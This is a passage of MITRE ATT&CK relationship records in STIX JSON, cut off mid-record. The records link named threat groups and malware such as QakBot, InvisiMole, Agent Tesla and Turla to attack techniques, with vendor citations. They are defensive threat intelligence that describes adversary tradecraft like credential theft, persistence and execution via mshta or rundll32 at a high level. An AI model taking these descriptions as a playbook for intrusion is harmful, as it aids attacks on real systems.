malicious DLL whenever a process loads the .NET CLR.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e837480-f359-4bdc-875a-d953027d17b0","created":"2022-09-02T19:07:10.797Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:07:10.797Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has staged malware and malicious files on compromised web servers, GitHub, and Google Drive.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e843db4-d4be-4252-85d0-7365dcbdbb50","type":"relationship","created":"2021-06-22T13:30:56.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:30:56.454Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can check for the presence of the Registry key HKEY_CLASSES_ROOT\\\\Applications\\\\VMwareHostOpen.exe before proceeding to its main functionality.(Citation: Securelist APT10 March 2021)\t ","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2021-11-02T21:06:31.460Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) payload has searched all fixed drives on the victim for files matching a specified list of extensions.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e8a0760-f21e-4936-80a1-769c7ef61950","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2020-03-17T02:47:10.930Z","description":"[Vasport](https://attack.mitre.org/software/S0207) can download files.(Citation: Symantec Vasport May 2012)","relationship_type":"uses","source_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e8a4965-f609-4cf1-bded-2b4a1ef5c5f3","created":"2023-03-20T19:56:56.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:20:35.155Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used `rundll32.exe` to execute the [Cobalt Strike](https://attack.mitre.org/software/S0154) Beacon loader DLL.(Citation: FireEye APT29 Nov 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e8f2301-2758-43b3-8b3e-615281100eff","type":"relationship","created":"2019-06-04T14:17:34.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2022-03-22T20:42:41.577Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) has an audio capture and eavesdropping module.(Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e8f455a-5773-483a-8636-045774732bef","type":"relationship","created":"2021-09-21T15:02:49.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}],"modified":"2021-09-21T15:02:49.141Z","description":"(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e90a4cd-b6b3-49c1-ae6d-b338ef7f9c3b","type":"relationship","created":"2021-09-30T12:28:45.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary Qbot","url":"https://redcanary.com/threat-detection-report/threats/qbot/","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-13T18:28:39.027Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e9818a5-90ec-4b12-a6e2-20188d78a69f","type":"relationship","created":"2020-08-17T15:22:29.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"}],"modified":"2020-08-17T15:22:29.131Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can can remove all system restore points.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e9e8c43-24f5-401f-8e50-5b4a476ea31d","created":"2021-09-09T15:11:57.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Oblique RAT March 2021","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T16:12:40.032Z","description":"(Citation: Talos Oblique RAT March 2021)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ea53e8d-743e-4828-8c65-9b610593270a","type":"relationship","created":"2021-09-23T12:44:50.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:44:50.875Z","description":"(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ea6c4e4-fedd-4fd9-a5fc-c07e3fb0f2a5","type":"relationship","created":"2020-10-02T14:57:16.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T14:57:16.081Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.374Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0eb683e1-bd09-4572-866a-f178ce54f7b6","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:51:07.390Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) obfuscated scripts that were used on victim machines.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0eb8fe0a-6a6b-4d66-b6ff-e1d7f8f18948","created":"2020-03-18T22:46:46.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.859Z","description":"Commands such as net group /domain can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ebd7231-9228-44b6-a4d8-9131eb40bbb3","type":"relationship","created":"2021-09-07T13:59:00.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.660Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can capture webcam video on targeted systems.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ebd9fb8-a6d0-4b91-bada-c5e5c79b0808","type":"relationship","created":"2019-06-20T20:53:17.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2020-03-16T17:16:42.947Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can impersonate or steal process tokens before executing commands.(Citation: ESET Turla PowerShell May 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ebf98b6-2cd2-4672-a330-201e9c7a2932","created":"2022-09-16T21:11:01.568Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:11:01.568Z","description":"[Operation Honeybee](https://attack.mitre.org/campaigns/C0006) included the use of an upgraded version of [SYSCON](https://attack.mitre.org/software/S0464).(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ec0af54-0182-4ad4-9b0e-4542a822de7f","created":"2022-09-30T18:50:14.500Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:50:14.500Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ec90a7b-2ba7-4d7e-ac41-c5fdcf9e8046","type":"relationship","created":"2021-12-06T16:24:29.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T16:24:29.317Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has modified the Registry to hide created user accounts.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ecaa94b-3ad8-4de5-9cf2-81069676cfa3","type":"relationship","created":"2019-01-29T18:44:04.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-11T22:38:19.613Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can add itself to the Registry as a startup program to establish persistence.(Citation: Fortinet Agent Tesla April 2018)(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ecbbfa3-6b81-4cf7-9033-373ebbc2832f","type":"relationship","created":"2021-01-29T19:16:42.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.229Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used mshta.exe to execute malicious payloads.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ecc1e3a-340a-42b6-9739-c6a243ffaa8f","type":"relationship","created":"2021-10-07T21:28:23.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-18T22:57:30.704Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses ps aux with the grep command to enumerate common browsers and system processes potentially impacting [XCSSET](https://attack.mitre.org/software/S0658)'s exfiltration capabilities.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ed0ef18-126f-4a03-ac2a-f315dfb48b7d","type":"relationship","created":"2020-05-26T20:33:11.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.308Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to enumerate loaded modules for a process.(Citation: CheckPoint Naikon May 2020).","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ed59ea2-85bb-4633-9b55-9e322dcbbd83","created":"2024-07-01T17:54:51.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:01:25.602Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can use WMI queries and shell commands such as systeminfo.exe to collect the operating system, BIOS version, and domain name of the targeted system.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ed82dd2-9b78-49a7-990b-d59ad7fa40a1","type":"relationship","created":"2020-08-17T14:37:43.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:37:43.612Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can inject its backdoor as a portable executable into a target process.(Citation: ESET InvisiMole June 2020)\t","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0edefa7f-0b1b-48b7-ab51-e0107b48c683","type":"relationship","created":"2019-09-12T19:00:39.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://vms.drweb.com/virus/?i=4276269","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","source_name":"Fysbis Dr Web Analysis"}],"modified":"2020-03-20T18:11:27.451Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) can use Base64 